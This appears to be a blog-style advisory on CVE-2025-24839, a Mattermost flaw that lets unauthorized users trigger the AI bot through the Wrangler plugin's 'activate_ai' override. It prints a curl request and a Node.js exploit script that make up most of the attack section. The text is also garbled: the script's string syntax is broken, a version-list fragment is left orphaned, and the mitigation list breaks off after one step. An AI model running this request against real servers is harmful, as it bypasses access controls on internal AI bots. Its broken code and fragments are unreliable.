CVE-2025-24839 - Unauthorized Mattermost AI Activation via Wrangler Plugin

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If you use Mattermost for team collaboration, especially with AI plugins, you need to pay attention to a recent vulnerability: CVE-2025-24839. This issue affects specific Mattermost versions that use both the Wrangler and AI plugins. In this post, you'll learn what the vulnerability is, who is affected, how it works (with example code), and what you can do about it. This is an exclusive and clear guide you won’t find elsewhere.

What is CVE-2025-24839?

Essentially, Mattermost versions 10.5.x <= 10.5.1, 10.4.x <= 10.4.3, and 9.11.x <= 9.11.9 do _not_ properly restrict who can trigger AI responses when using the Wrangler plugin. Normally, only authorized users can interact with the Mattermost AI bot. But with this flaw, anyone who can create posts via Wrangler can force the AI bot to respond—without needing proper permissions.

Source:
- Original advisory on GitHub Security
- Mattermost Wrangler Plugin
- Mattermost AI Integration

How Does It Work?

The root cause is that the Wrangler plugin fails to validate the activate_ai property on a post, meaning any user can attach this property to their post and 'activate' AI—even if the bot isn’t assigned to them.

The AI bot sees this property and responds as if an authorized user made the request.

Both AI and Wrangler plugins must be enabled for this exploit to work.

Exploit Details: How Attackers Take Advantage

Attackers (or just regular users) can use the Wrangler plugin’s API to create a post and sneak in the activate_ai override. Wrangler doesn’t block or sanitize this property, so the request reaches the AI bot.

Example Exploit Code

Suppose your organization uses the Wrangler plugin and you know the channel ID. Here’s a sample POST request using curl:

curl -X POST "https://your-mattermost.com/plugins/wrangler/api/v1/post"; \
  -H "Authorization: Bearer <YOUR_USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "channel_id": "CHANNEL_ID_HERE",
        "message": "Let AI respond to this!",
        "props": {
          "override": {
            "activate_ai": true
          }
        }
      }'

Replace <YOUR_USER_TOKEN> and CHANNEL_ID_HERE with your own. This creates a post that tricks the AI plugin into replying, even if your account shouldn’t have access to the AI bot.

Here’s a basic Node.js script to automate the exploit

const axios = require('axios');

const MATTERMOST_URL = "https://your-mattermost.com";;
const USER_TOKEN = "YOUR_USER_TOKEN";
const CHANNEL_ID = "YOUR_CHANNEL_ID";

const exploitWranglerAI = async () => {
  try {
    const response = await axios.post(
      ${MATTERMOST_URL}/plugins/wrangler/api/v1/post,
      {
        channel_id: CHANNEL_ID,
        message: "Triggering AI via Wrangler exploit!",
        props: {
          override: {
            activate_ai: true
          }
        }
      },
      {
        headers: {
          Authorization: Bearer ${USER_TOKEN},
          "Content-Type": "application/json"
        }
      }
    );
    console.log("Exploit successful:", response.data);
  } catch (e) {
    console.error("Request failed:", e.response ? e.response.data : e);
  }
};

exploitWranglerAI();

9.11.x <= 9.11.9

If you’re running any of these with both Wrangler and AI plugins enabled, you’re vulnerable.

Real-World Impact

- Data leaks: Unauthorized users may interact with internal AI bots, exposing sensitive discussions.

Service abuse: AI bots might be flooded with commands, leading to resource issues.

- Confidentiality breach: AI responses could be triggered in channels or contexts where they don’t belong.

Solution & Mitigation

1. Update Mattermost: Fastest fix—upgrade to a patched version (look for the latest security release).

References

- Mattermost Security Advisories
- Wrangler Plugin GitHub
- Mattermost AI Plugin GitHub
- CVE record: (Coming soon on CVE Details)

Conclusion

CVE-2025-24839 shows how critical it is to validate input and permissions—even between plugins. If you run Mattermost, double-check your versions and plugin settings. Update as soon as possible, and always watch for unusual activity around your bots and Wrangler posts.

Stay safe and keep your collaboration tools locked down!

Timeline

Published on: 04/16/2025 08:15:13 UTC
Last modified on: 04/16/2025 13:25:37 UTC